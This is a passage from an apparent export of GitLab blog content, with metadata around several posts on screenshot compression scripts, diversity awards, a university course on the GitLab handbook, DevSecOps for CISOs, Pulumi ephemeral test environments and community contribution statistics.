--skip-if-larger --strip --ext=.png --force \"$1\"\nzopflipng -y \"$1\" \"$1\"\n```\n\nAlternatively, using Automator, create a new **Folder Action** that receives\nnotifications from the Screenshots folder. Add a **Run Shell Script** block, and\nmake sure to **Pass input as arguments**. Combining the commands above, and this\ntime using `$@` syntax to handle multiple arguments, and absolute paths for\npngquant and zopflipng, the final script is:\n\n```bash\nfor f in \"$@\"\ndo\n  /usr/local/bin/pngquant 64 --skip-if-larger --strip --ext=.png --force \"$f\"\n  /usr/local/bin/zopflipng -y \"$f\" \"$f\"\ndone\n```\n\nHere's a screenshot of my configuration.\n\n| Hazel | Automator |\n|---|---|\n| [![Hazel Screenshot Compression Rule](https://about.gitlab.com/images/blogimages/png-compression/hazel.png)](/images/blogimages/png-compression/hazel.png) | [![Automator Screenshot Compression Action](https://about.gitlab.com/images/blogimages/png-compression/automator.png)](/images/blogimages/png-compression/automator.png) |\n\nMy final trick, is to add the Screenshots folder to my Dock for easy access.\nThis is achieved by dragging the Screenshots folder from Finder to your Dock.\n\n## Summary\n\nThe PNG file format is great for screenshots, but the defaults output is too\nlarge for sharing on the internet. Instead of using ImageAlpha and ImageOptim to\ncompress your screenshots by hand, you can use Hazel to automate this to\nregularly yield file size reductions of 80%.\n\nIf you know of compression tricks, or alternatives that work on Windows or\nLinux, let me know below in the comments!\n\nCover image by [Emmy Smith](https://unsplash.com/@emsmith) on [Unsplash](https://unsplash.com/photos/LEjEst7lLfU)\n",[1444],{"slug":25103,"featured":6,"template":678},"simple-trick-for-smaller-screenshots","content:en-us:blog:simple-trick-for-smaller-screenshots.yml","Simple Trick For Smaller Screenshots","en-us/blog/simple-trick-for-smaller-screenshots.yml","en-us/blog/simple-trick-for-smaller-screenshots",{"_path":25109,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25110,"content":25115,"config":25122,"_id":25124,"_type":16,"title":25125,"_source":17,"_file":25126,"_stem":25127,"_extension":20},"/en-us/blog/comparably-awards-gitlab-top-culture-diversity-awards",{"title":25111,"description":25112,"ogTitle":25111,"ogDescription":25112,"noIndex":6,"ogImage":17364,"ogUrl":25113,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25113,"schema":25114},"GitLab wins culture & diversity awards: More work ahead!","We're honored to be named best company for culture, diversity, and women. Here's how we're continuously improving our commitment to diversity, inclusion and belonging.","https://about.gitlab.com/blog/comparably-awards-gitlab-top-culture-diversity-awards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comparably awards GitLab top culture and diversity awards but there is still work to do\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Carol Teskey\"}],\n        \"datePublished\": \"2020-01-29\",\n      }",{"title":25116,"description":25112,"authors":25117,"heroImage":17364,"date":25119,"body":25120,"category":736,"tags":25121},"Comparably awards GitLab top culture and diversity awards but there is still work to do",[25118],"Carol Teskey","2020-01-29","\n\nGitLab is proud to have [earned an A+ on the recent Comparably employee survey](https://www.comparably.com/companies/gitlab), coming home with the top awards for Best Company for Diversity, Best Company for Culture, and Best Company for Women in 2019. Diversity and inclusion (DIB) is a [core value](https://handbook.gitlab.com/handbook/values/#diversity-inclusion) at GitLab and fundamental to our success. Over the last year we've made great progress in our commitment to create a transparent environment where all team members feel included — a commitment that is reflected in our [company objectives](/company/okrs/fy20-q4/#3-ceo-great-team) at the highest level. This month, we enlisted [AnitaB.org](https://anitab.org/) as a DIB partner,  launched a [Global Diversity, Inclusion & Belonging  advisory group](/company/culture/inclusion/#understanding-of-the-purpose-of-the-global-diversity--inclusion-advisory-group), and implemented [inclusion training](/company/culture/inclusion/being-inclusive/#inclusion-training/).\n\nIn spite of this sweep of recognition by Comparably and our progress over the last year, we feel there is even more work to be done to advance our commitment to DIB in hiring, retention of current team members, and leadership growth opportunities at GitLab.\n\n[Transparency](https://handbook.gitlab.com/handbook/values/#transparency) is also a core value at GitLab. We believe that by discussing things publicly others can benefit from the conversation. In the spirit of transparency, we've dug into the Comparably results and share our successes, our shortcomings, and how we plan to improve.\n\n## Inside the Comparably results\n\nThe Comparably survey was conducted through third party collection, and current and former GitLab employees were not obligated to respond to the survey. All participation was voluntary. All respondents were anonymous, and had the option to self-report their genders or choose not to, meaning all gender-specific breakdowns are based on self-reporting. Based on the number of self-reported women that responded, and the overwhelmingly positive feedback recorded from these respondents, Comparably awarded us as the best company for diversity, women, and culture. 🙌\n\n### The truth is in the data\n\nThere is a lot of reporting that shows sometimes a company's work culture will privilege one gender over the other. At GitLab, we are proud to say that is not the case, and the truth is in the numbers.\n\nIn the Comparably survey, both men and women graded our company's all-remote work culture with an A, 91% and 92% respectively.\n\n\"I'm allowed and in charge of making my day and my physical working environment as productive and comfortable as I want. Nobody has to conform to what makes other people comfortable or productive, we can tweak it to our own tastes. Truly focusing on results makes me extremely happy as a professional,\" says one anonymous survey respondent.\n\nOur executive team was also given A's by GitLab team members of both genders as well.\n\n\"GitLab has an incredibly low-ego culture, and executives are open to feedback and discussion. There's a good amount of autonomy, and executives are highly skilled,\" says one anonymous survey respondent.\n\nHere is a summary of some of the key takeaways from the survey:\n\n*   91% of women at GitLab approve of the work of our CEO (nice job, Sid!)\n*   96% of women are proud to be a part of GitLab\n*   92% of women at GitLab believe we provide meaningful opportunities for career advancement\n*   92% of women at GitLab feel their job is secure\n*   96% of women at GitLab approve of the job the executive team is doing\n*   93% of women at GitLab believe the company goals are clear and invest in their success\n\nThe Comparably survey compared the results of the anonymous survey data to other companies that are similar to GitLab. GitLab was given an overall score of 86 among the women who took our survey, giving us a #1 score for our company's overall performance.\n\nRanking #1 on the Comparably survey is great, but we believe there is more opportunity to build more DIB into company policies and culture.\n\n## Where we are today\n\nGitLab is slightly above average for our industry in terms of the number of women working for our company, and the number of women in leadership roles. But we are not satisfied with \"above average\". We aim to overachieve when it comes to DIB – and not just because it is the right thing to do, but because it delivers better results.\n\nGlobally, the number of women in tech roles is at 21.4%, according to [CNET.](https://www.cnet.com/news/microsofts-first-in-depth-diversity-report-shows-progress-remains-slow/)\n\nToday, GitLab has more than 1,100 employees with a retention rate of more than 85%. At this moment, about 29% of our total workforce is women. This stacks up with some of the technology giants, for comparison, [27.6% of Microsoft's workforce are women](https://blogs.microsoft.com/blog/the-microsoft-diversity-and-inclusion-report-reveals-momentum-and-learnings-for-the-future/?ranMID=24542&ranEAID=je6NUbpObpQ&ranSiteID=je6NUbpObpQ-Ia7MtlvNc3Mg2bbvKBtP_A&epi=je6NUbpObpQ-Ia7MtlvNc3Mg2bbvKBtP_A&irgwc=1&OCID=AID2000142_aff_7593_1243925&tduid=%28ir__9gnhww2xmskft1ickk0sohzize2xlljpfdwt600f00%29%287593%29%281243925%29%28je6NUbpObpQ-Ia7MtlvNc3Mg2bbvKBtP_A%29%28%29&irclickid=_9gnhww2xmskft1ickk0sohzize2xlljpfdwt600f00), [31.6% of employees are women at Google](https://diversity.google/annual-report/#!#_this-years-data), and [33% at Apple](https://www.apple.com/diversity/).\n\nAt GitLab, 23% of our workforce has women in leadership roles, compared to [20% at Microsoft](https://blogs.microsoft.com/blog/the-microsoft-diversity-and-inclusion-report-reveals-momentum-and-learnings-for-the-future/?ranMID=24542&ranEAID=je6NUbpObpQ&ranSiteID=je6NUbpObpQ-Ia7MtlvNc3Mg2bbvKBtP_A&epi=je6NUbpObpQ-Ia7MtlvNc3Mg2bbvKBtP_A&irgwc=1&OCID=AID2000142_aff_7593_1243925&tduid=%28ir__9gnhww2xmskft1ickk0sohzize2xlljpfdwt600f00%29%287593%29%281243925%29%28je6NUbpObpQ-Ia7MtlvNc3Mg2bbvKBtP_A%29%28%29&irclickid=_9gnhww2xmskft1ickk0sohzize2xlljpfdwt600f00), [24% at Google](https://diversity.google/commitments/), [26.8% at Amazon](https://www.aboutamazon.com/working-at-amazon/diversity-and-inclusion/our-workforce-data), and [28% at Facebook](https://fbnewsroomus.files.wordpress.com/2017/08/fb_diversity_2017_final.pdf).\n\nWhen it comes to having more women and nonbinary individuals in leadership roles, GitLab can do better. The motivation for increasing gender parity in leadership really is simple: Women leaders deliver results. In fact, the companies that have 30% or more women in leadership roles saw a 15% increase in company revenue,  according to the [Women Tech Council (WTC) Inclusion Report](http://www.womentechcouncil.com/wp-content/uploads/2019/03/WTC_Inclusion_Report_2019.pdf).\n\nWe aim to increase the number of women and nonbinary individuals in technical roles at GitLab. Today, our technical staff comprises about 17% women. Comparatively, [19% of Google's technical staff are women](https://diversity.google/annual-report/#!#_this-years-data), [19% at Facebook](https://fbnewsroomus.files.wordpress.com/2017/08/fb_diversity_2017_final.pdf), [23% at Apple](https://www.apple.com/diversity/), and [28% at Netflix](https://jobs.netflix.com/diversity).\n\n## We pledge to do more and here's how\n\nWe want to do more to create a more inclusive workplace for women – and we have built-in a performance indicator to keep us accountable to our mission. By 2022, we aim to increase the number of women in leadership roles at GitLab to 30%.\n\nWe have created new company policies and programming to help create a more hospitable workplace for all team members. Summarized below are a few examples of how we plan to retain and cultivate more inclusiveness at GitLab.\n\n### Inclusion training\n\nOne of our strategies is to focus more on the inclusion element of our DIB value. Our People group established an objective and key result (OKR) to drive DIB training last quarter and this quarter. Last quarter we hosted an inclusion and ally training, and this quarter we will be hosting an unconscious bias training.\n\n### Employee resource groups\n\nIn 2020, we are launching four [employee resource groups](/company/culture/inclusion/#ergs",[736],{"slug":25123,"featured":6,"template":678},"comparably-awards-gitlab-top-culture-diversity-awards","content:en-us:blog:comparably-awards-gitlab-top-culture-diversity-awards.yml","Comparably Awards Gitlab Top Culture Diversity Awards","en-us/blog/comparably-awards-gitlab-top-culture-diversity-awards.yml","en-us/blog/comparably-awards-gitlab-top-culture-diversity-awards",{"_path":25129,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25130,"content":25136,"config":25141,"_id":25143,"_type":16,"title":25144,"_source":17,"_file":25145,"_stem":25146,"_extension":20},"/en-us/blog/gitlab-taught-in-korean-uni",{"title":25131,"description":25132,"ogTitle":25131,"ogDescription":25132,"noIndex":6,"ogImage":25133,"ogUrl":25134,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25134,"schema":25135},"Schooled in GitLab: Teaching our handbook at a South Korean university","Students at Hankuk University of Foreign Studies tackled our handbook. The students' favorite topics were compensation and remote work.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673044/Blog/Hero%20Images/books-internship-post.jpg","https://about.gitlab.com/blog/gitlab-taught-in-korean-uni","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Schooled in GitLab: Teaching our handbook at a South Korean university\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Guenjun Yoo\"}],\n        \"datePublished\": \"2020-01-29\",\n      }",{"title":25131,"description":25132,"authors":25137,"heroImage":25133,"date":25119,"body":25139,"category":813,"tags":25140},[25138],"Guenjun Yoo","\nBusiness students at [Hankuk University of Foreign Studies](http://mis.hufs.ac.kr/) in Seoul, South Korea are studying the GitLab handbook and business model. The students are enthusiastic about GitLab and its story, says lecturer SanJoon Song in an email interview, but there was one problem: Our 3,000+ page handbook is a lot to swallow in one semester.\n\nSo Song had the class divide the handbook into 15 different categories, which different groups of students researched over the course of the semester. At the end of the term, the groups presented a summary of their category to the class.\n\n“Many engineers in Korea said that the GitLab handbook is good to read before starting up a business,” says Song. “However, there is a lot of reading in the handbook; too many pages for me.”\n\nThe level of transparency in the handbook was a revelation to Song and his students.\n\n“We didn't study [the handbook] only to focus on the content itself, but we tried to understand and share about the context of handbook; what conventions GitLab has and what protocols GitLab is trying to develop with its employees by this handbook,” says Song. “In Korea, this is very unusual to share such details of company goals and protocols with entire employees by handbook and for me, this approach is very new and fresh.”\n\n## Inside information\n\nSong was very surprised by how much “insider” information is available in our handbook and says he’s particularly amazed by the detailed explanations of what to do if things go wrong.\n\nOn the other hand, his students were most impressed by the details on [compensation](/handbook/total-rewards/compensation/compensation-calculator/calculator/) and incentives in the handbook, followed closely by the idea of remote work.\n\n“Personally I liked the concept of [‘accept mistakes’](https://handbook.gitlab.com/handbook/values/#accept-mistakes) in the efficiency section,” says Song. “We also talked a lot about GitLab’s [six values](https://handbook.gitlab.com/handbook/values/).”\n\n![Breaking down the handbook](https://about.gitlab.com/images/blogimages/studyingthehandbook.jpg){: .shadow.medium.center}\nStudents in Song's class breaking down the handbook.\n{: .note.text-center}\n\nRemote work was also a big topic of discussion in Song's classroom.\n\n\"Many Koreans are interested in remote work,\" says Song. \"It is really great that people can work anywhere, anytime without having the stress of commuting. Remote work is not common in Korea yet. Only a few software developers are allowed to work from home but that is also partial and in a limited environment only. Many students also want to do the remote work but this is still kind of a dream.”\n\nSong is currently teaching a second GitLab-focused class, this time diving into project management and DevOps by looking at our product and Pivotal Labs. If there is one benefit Song thinks his students have taken away from studying GitLab it’s the importance of communication.\n\n“Communication between employees is one of the most important matters,\" says Song. \"By studying the GitLab handbook, my students and I learned an efficient way of communication between the employer and employees. The handbook explicitly shows how GitLab is trying to do the best way of communication between stakeholders; what is the company goal, why we established the goal and how we are achieving the goal.”\n\nSong hopes to inspire a future generation of entrepreneurs by studying the GitLab handbook in the classroom.\n\n“My students have studied the GitLab handbook for one semester. I hope this study can be their reference when they start their startup, so they can create their company goals and prototype in the direction of success, like GitLab.\"\n\n_If you’re interested in seeing more of Song’s curriculum, he shared it\n[here](https://docs.google.com/document/d/1u5J6Ypj6zwQJVjmrl1wd0eIv7Q_TYLJysDquhGMJimA/edit). You'll need to scroll down a bit._\n\nCover image by [Patrick Tomasso](https://unsplash.com/@impatrickt) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[7715,267,4103,815,3798,10921],{"slug":25142,"featured":6,"template":678},"gitlab-taught-in-korean-uni","content:en-us:blog:gitlab-taught-in-korean-uni.yml","Gitlab Taught In Korean Uni","en-us/blog/gitlab-taught-in-korean-uni.yml","en-us/blog/gitlab-taught-in-korean-uni",{"_path":25148,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25149,"content":25155,"config":25160,"_id":25162,"_type":16,"title":25163,"_source":17,"_file":25164,"_stem":25165,"_extension":20},"/en-us/blog/ciso-secure-next-gen-software",{"title":25150,"description":25151,"ogTitle":25150,"ogDescription":25151,"noIndex":6,"ogImage":25152,"ogUrl":25153,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25153,"schema":25154},"Securing next generation software","Scale your security efforts by understanding and integrating with the DevOps workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673038/Blog/Hero%20Images/ciso-secure-next-gen-software.jpg","https://about.gitlab.com/blog/ciso-secure-next-gen-software","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Securing next generation software\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2020-01-27\",\n      }",{"title":25150,"description":25151,"authors":25156,"heroImage":25152,"date":25157,"body":25158,"category":8943,"tags":25159},[12479],"2020-01-27","\nNext generation software has changed the way developers work, allowing them to \nproduce code quickly and at scale. This poses new security challenges \nhowever and all too often security is treated as a bolt-on task at the end of the \nprocess. Approaching security in this manner won’t scale to the size and \nvelocity of software development. It’s therefore critical that security \ninnovation finds its way into your development lifecycle. You can be sure \nthat your cyber-adversaries aren’t using hacking methods from 10 years ago – \nso why should you be using security technologies and methods from 10 years ago?\n\nTo tackle these changes, CISOs will need to understand three critical shifts in \nnext-generation software: \n\n1. How software is composed and executed\n1. How software is delivered and managed\n1. How software complies with regulatory requirements\n\nIt’s time to think of security as an outcome from an integrated DevSecOps effort.\n\nIn my recent book ([free to download here](/resources/ebook-ciso-secure-software/)) \nI explain these three shifts in depth to help security professionals understand \nnew application-related attack surfaces and areas of risk, how DevOps processes \nand tools affect their security efforts, and how security teams can adapt and \nscale to unite the iterative development and security workflows. \n\n## Secure software in the age of DevOps\n\nSecuring the software development lifecycle has never been easy, \nand efficiency-boosting development changes have created more challenges for \nsecurity teams to face. To be successful, CISOs and their teams need to be \nable to focus on:\n\n* Basic security hygiene\n* Monitoring, detection, and automated response\n* Building on standardization, policy automation, validation, common controls, \nand continuous improvement\n\n## Think it through\n\nAt the end of my book, you’ll find 10 steps to take as you work toward your \nnext generation security program. Here is a quick preview of a few of the steps:\n\n1. Start by assessing where you are, and decide on a path to move forward. \n1. Align metrics to manage risks, not silos. \n1. Go broad, not deep, when testing software. \n1. Apply continuous security scanning to iterative development.\n1. Apply Zero Trust principles to your applications and their infrastructure.\n\nCover image by [theverticalstory](https://unsplash.com/@theverticalstory) on [Unsplash](https://unsplash.com/photos/LjkEdYv55bA)\n{: .note}\n",[674,4103,1444],{"slug":25161,"featured":6,"template":678},"ciso-secure-next-gen-software","content:en-us:blog:ciso-secure-next-gen-software.yml","Ciso Secure Next Gen Software","en-us/blog/ciso-secure-next-gen-software.yml","en-us/blog/ciso-secure-next-gen-software",{"_path":25167,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25168,"content":25173,"config":25178,"_id":25180,"_type":16,"title":25181,"_source":17,"_file":25182,"_stem":25183,"_extension":20},"/en-us/blog/kubecon-na-2019-are-you-about-to-break-prod",{"title":25169,"description":25170,"ogTitle":25169,"ogDescription":25170,"noIndex":6,"ogImage":17364,"ogUrl":25171,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25171,"schema":25172},"KubeCon NA: Are you about to break Prod?","Use Pulumi and GitLab to build a pipeline that validates your application, infrastructure, and deployment process.","https://about.gitlab.com/blog/kubecon-na-2019-are-you-about-to-break-prod","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"KubeCon NA: Are you about to break Prod?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erin Krengel, Pulumi\"}],\n        \"datePublished\": \"2020-01-27\",\n      }",{"title":25169,"description":25170,"authors":25174,"heroImage":17364,"date":25157,"body":25176,"category":813,"tags":25177},[25175],"Erin Krengel, Pulumi","\n\nA couple of months ago, my [Pulumi](https://www.pulumi.com/) colleague Sean Holung, staff sofware engineer, and I had the opportunity to present [\"Are you about to break prod? Acceptance Testing with Ephemeral Environments\"](https://www.youtube.com/watch?v=jAQhDZiRzBQ) at KubeCon NA 2019. In this talk, we covered what is an ephemeral environment, how to create one, and then we walked the audience through a concrete example. Given our limited time, we had to move quickly through a ton of information. This post will recap our presentation and add a few more details we weren't able to cover.\n\nAs software engineers, our job is to deliver business value. To do this, we need to be delivering software both quickly and reliably.\n\nSo the question we ask you is: are you about to break prod? Everyone will break production at some point because there are things we miss. As independent software lead Alexandra Johnson sums up so well in a tweet: \"Failures are part of the cost of building and shipping large systems.\" Building a robust pipeline allows us to move quickly in the case of failure and gain confidence around making changes to our infrastructure and applications.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Big takeaway from \u003Ca href=\"https://twitter.com/hashtag/KubeCon?src=hash&amp;ref_src=twsrc%5Etfw\">#KubeCon\u003C/a>: none of us want to break prod, but failures are part of the cost of building and shipping large systems. Using tools like \u003Ca href=\"https://twitter.com/hashtag/AcceptanceTesting?src=hash&amp;ref_src=twsrc%5Etfw\">#AcceptanceTesting\u003C/a> (\u003Ca href=\"https://twitter.com/eckrengel?ref_src=twsrc%5Etfw\">@eckrengel\u003C/a>) and \u003Ca href=\"https://twitter.com/hashtag/ChaosEngineering?src=hash&amp;ref_src=twsrc%5Etfw\">#ChaosEngineering\u003C/a> (\u003Ca href=\"https://twitter.com/Ana_M_Medina?ref_src=twsrc%5Etfw\">@Ana_M_Medina\u003C/a>) can increase your confidence in your infrastructure changes!\u003C/p>&mdash; Alexandra Johnson (@alexandraj777) \u003Ca href=\"https://twitter.com/alexandraj777/status/1198373475049623552?ref_src=twsrc%5Etfw\">November 23, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nWith this in mind, we use Pulumi and GitLab to build a pipeline that validates both our application, infrastructure, and deployment process. \n\n## Ephemeral environments\n\nWhat is an ephemeral environment? It is a short-lived environment that mimics a production environment. To maintain agility, boundaries are defined in the environment to only encompass the first-level dependencies of the particular microservice that is being deployed. It means you don't have to spin up every single microservice or piece of infrastructure that's running in production. Yet you may need to spin up extra pieces of infrastructure to properly test the microservice. For example, you may need to create a subscription to pull from a PubSub topic your microservice writes to. This subscription would allow your acceptance tests to pull from a topic in order to validate an outbound message is published.\n\n## Why this is important\n\nInfrastructure is a key part of an application's behavior. The architecture and requirements are continually evolving. How can you incorporate these into a testing suite to give us a high degree of confidence?\n\nEphemeral environments allow you to integrate infrastructure and deployment processes into a testing suite. They ensure your testing environment is always in-sync with production and therefore allow you to iterate quickly to meet new requirements.\n\nEphemeral environments also encourage you to lean on automated tests over manual tests. If you use ephemeral environments as a replacement for a testing environment, there is not enough time to go in and run a manual check. Shifting your mindset to automated tests can be challenging, yet it's imperative that we do so. Automated tests guarantee your application behaves as expected today as well as months from now when you're out on vacation.\n\n## Our demo application\n\nTo demonstrate the effectiveness of integrating acceptance testing with ephemeral environments into your deployment process, we created a simple demo application. The service is written in Go and accepts a message on the `/message` endpoint, then places it in a storage bucket and sends a notification about the new object on a PubSub topic. The code for this application lives in our [main.go](https://gitlab.com/rocore/demo-app/blob/master/main.go) file. While you can walk through this code yourself, the most important thing to call out is that our application is *configurable*. This means we take configuration in at the very beginning of our main function and shut down the application if the values are not present.\n\n```go\nfunc main() {\n    ...\n\t// Get configuration from environment variables. These are\n\t// required configuration values, so we use an helper\n\t// function get the values and exit if the value is not set.\n\tproject := getConfigurationValue(\"PROJECT\")\n\ttopicName := getConfigurationValue(\"TOPIC\")\n\tbucketName := getConfigurationValue(\"BUCKET\")\n    ...\n}\n\nfunc getConfigurationValue(envVar string) string {\n\tvalue := os.Getenv(envVar)\n\tif value == \"\" {\n\t\tlog.Fatalf(\"%s not set\", envVar)\n\t}\n\tlog.Printf(\"%s: %s\", envVar, value)\n\treturn value\n}\n```\n\n### Infrastructure\n\nThere are many pieces of infrastructure to spin up and we can use Pulumi to easily wire it all together. Our architecture looks like this:\n\n![Pulumi Architecture](https://about.gitlab.com/images/blogimages/pulumidemoarch.jpg){: .medium.center}\n\nYou can check out the Pulumi code that we use to reproduce both our ephemeral environments as well as production in the [infrastructure/index.ts](https://gitlab.com/rocore/demo-app/blob/master/infrastructure/index.ts) file. The neat thing about using Pulumi is that we can create the Google Cloud Platform (GCP) resources we need and then directly reference them in our Kubernetes deployment. Using Pulumi ensures we're always configuring our application with the correct GCP resources for that environment.\n\nFor example, in our Kubernetes deployment, we set the environment variables by using the topic and bucket variables created just above.\n\n```typescript\n// Create a K8s Deployment for our application.\nconst appLabels = { appClass: name };\nconst deployment = new k8s.apps.v1.Deployment(name, {\n    metadata: { labels: appLabels },\n    spec: {\n        selector: { matchLabels: appLabels },\n        template: {\n            metadata: { labels: appLabels },\n            spec: {\n                containers: [{\n                    ...\n                    env: [\n                        { name: \"TOPIC\", value: topic.name }, // referencing topic just created\n                        { name: \"BUCKET\", value: bucket.name }, // referencing bucket just created\n                        { name: \"PROJECT\", value: project },\n                        {\n                            name: \"GOOGLE_APPLICATION_CREDENTIALS\",\n                            value: \"/var/secrets/google/key.json\"\n                        },\n                    ],\n                    ...\n                }]\n            }\n        }\n    },\n});\n```\n\n### Acceptance tests\n\nThe acceptance tests validate that our service, when stood up, functions as expected. They are run against an ephemeral environment. The tests live in the `acceptance/acceptance_test.go` [file](https://gitlab.com/rocore/demo-app/blob/master/acceptance/acceptance_test.go). You'll notice we're once again using the helper function `getConfigurationValue`. Our acceptance test must also be configured to ensure they're validating against the correct resources for that particular ephemeral environment.\n\nSince the service is only accessible from within the Kubernetes cluster, we use a Kubernetes job to run our acceptance tests. Using a Kubernetes job is a good technique to use when your CI is running externally, such as from GitLab, and you do not want to expose your service publicly. Our ephemeral environment plus acceptance test looks like this:\n\n![Acceptance Tests](https://about.gitlab.com/images/blogimages/pulumiacceptancetestarch.jpg){: .medium.center}\n \nWe spin up a Kubernetes Job and additional resources by using an if statement at the bottom of our `infrastructure/index.ts` file. The conditional depends on the environment's name as follows:\n\n```typescript\n// If it's a test environment, set up acceptance tests.\nlet job: k8s.batch.v1.Job | undefined;\nif (ENV.startsWith(\"test\")) {\n    job = acceptance.setupAcceptanceTests({\n        ...\n    });\n}\n\n// Export the acceptance job name, so we can get the logs from our\n// acceptance tests.\nexport const acceptanceJobName = job ? job.metadata.name : \"unapplicable\";\n```\n\nThat covers all the major aspects of our application and infrastructure, and if you'd like to view the code in detail, it is available in our `demo-app` [GitLab repository](https://gitlab.com/rocore/demo-app).\n\n## Our pipeline\n\nWhen developing a new service, we must establish a solid deployment strategy upfront. We want to make sure we're building in quality from day one. As we develop the service, we can add acceptance tests for every feature we add while the context and requirements are still fresh in our minds. This ensures we have thorough coverage of our app's functionality.\n\nWe used GitLab to set up our pipeline. We chose GitLab because it's straightforward to set up and allows us to run our pipeline on our Docker image of choice. We use a [base-image](https://gitlab.com/rocore/global-infra/blob/master/base-image/Dockerfile) that has all our dependencies installed and then reference that Docker image and tag in our `demo-app` pipeline. The Docker image allows us to bundle and version the dependencies for building our application and infrastructure.\n\n![GitLab Pipelines](https://about.gitlab.com/images/blogimages/pulumibloggitlabci.png){: .shadow.medium.center}\n \n1. **Test and Build** - This runs our unit tests and builds both our application and acceptance test images. To build our images, we used [Kaniko](https://github.com/GoogleContainerTools/kaniko), a tool for building images within a container or Kubernetes cluster. GitLab has excellent documentation on [how to incorporate Kaniko](https://docs.gitlab.com/ee/ci/docker/using_kaniko.html) into your pipeline. The application image is an immutable image that is used for both running our acceptance tests and deploying to production.\n1. **Acceptance Test** - This is what spins up our ephemeral environments and runs our acceptance tests. This acts as a quality gate catching issues before production.\n\n    Our ephemeral environment and Kubernetes job are all spun up in the `script` portion of the acceptance test job definition. We do a bit of setup for our new acceptance test stack and then run `pulumi up`. Here is the print out from our acceptance tests.\n\n    ```bash\n    ...\n    $ pulumi stack init rocore/$ENV-app\n    Logging in using access token from PULUMI_ACCESS_TOKEN\n    Created stack 'rocore/test-96425413-app'\n    $ pulumi config set DOCKER_TAG $DOCKER_TAG\n    $ pulumi config set ENV $ENV\n    $ pulumi config set gcp:project rocore-k8s\n    $ pulumi config set gcp:zone us-west1-a\n    $ pulumi up --skip-preview\n    Updating (rocore/test-96425413-app):\n    ...\n    Resources:\n        + 16 created\n\n    Duration: 4m10s\n\n    Permalink: https://app.pulumi.com/rocore/demo-app/test-96425413-app/updates/1\n    ```\n\n    The `after_script` destroys our stack as well as prints the logs of both our Kubernetes job and deployment, which help with debugging if our tests were to fail. We use the `after_script` to make sure that we always clean up and print logs even when our acceptance tests fail.\n    \n    ```bash\n    ...\n    $ pulumi stack select rocore/$ENV-app\n    $ kubectl logs -n rocore --selector=appClass=$ENV-demo-app-acc-test --tail=200\n    === RUN   TestSimpleHappyPath\n    === RUN   TestSimpleHappyPath/message_is_sent_to_PubSub_topic\n    === RUN   TestSimpleHappyPath/message_is_stored_in_bucket\n    ",[942,2509,815,110,232,277],{"slug":25179,"featured":6,"template":678},"kubecon-na-2019-are-you-about-to-break-prod","content:en-us:blog:kubecon-na-2019-are-you-about-to-break-prod.yml","Kubecon Na 2019 Are You About To Break Prod","en-us/blog/kubecon-na-2019-are-you-about-to-break-prod.yml","en-us/blog/kubecon-na-2019-are-you-about-to-break-prod",{"_path":25185,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25186,"content":25191,"config":25196,"_id":25198,"_type":16,"title":25199,"_source":17,"_file":25200,"_stem":25201,"_extension":20},"/en-us/blog/community-update-for-2019",{"title":25187,"description":25188,"ogTitle":25187,"ogDescription":25188,"noIndex":6,"ogImage":19778,"ogUrl":25189,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25189,"schema":25190},"Celebrating wider community contributions in 2019 and returning to FOSDEM","Here's what the wider community accomplished in 2019 and where to find GitLab at FOSDEM'20.","https://about.gitlab.com/blog/community-update-for-2019","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Celebrating wider community contributions in 2019 and returning to FOSDEM\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2020-01-24\",\n      }",{"title":25187,"description":25188,"authors":25192,"heroImage":19778,"date":25193,"body":25194,"category":18484,"tags":25195},[21623],"2020-01-24","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nFirst of all, I would like to wish everyone in the GitLab Community a Happy New Year! There's been an impressive growth in the wider GitLab community in 2019 and I wanted to share and celebrate what we all accomplished. \n\nThe first chart below shows merged MRs from the wider community beginning with the 11.0 release. We obviously have a nice trendline, but we also had a record number of merged MRs for the 12.6 release (nearly 250!) and this was a great way to close out 2019! \n\n![Wider community contributions per release](https://about.gitlab.com/images/blogimages/Wider_community_contributions_per_release-Dec2019.png){: .medium.center}\n\nI also want to show some numbers on the wider community growth over the past 3 years. As you will see in the chart below, the number of  contributors almost doubled between 2018 and 2019 as we had almost 900 contributors with merged MRs last year. In terms of the number of merged MRs, we had 2400+ MRs in 2019 which is more than 30% increase from the previous year. I really need to congratulate and thank everyone in the wider community for your contributions as these numbers clearly show that GitLab is a thriving open source community. Beyond MRs or code, we appreciate your insight and perspective from your contributions. \n\n![Community contributions in 2018 and 2019](https://about.gitlab.com/images/blogimages/2019_Wider_Community_Contributors_and_Merge_Requests.png){: .medium.center}\n\nI also updated the [top contributors page](https://about.gitlab.com/community/top-annual-contributors/) with the final numbers from 2019. The number of regular contributors with 5 or more merged MRs during the year also saw a significant 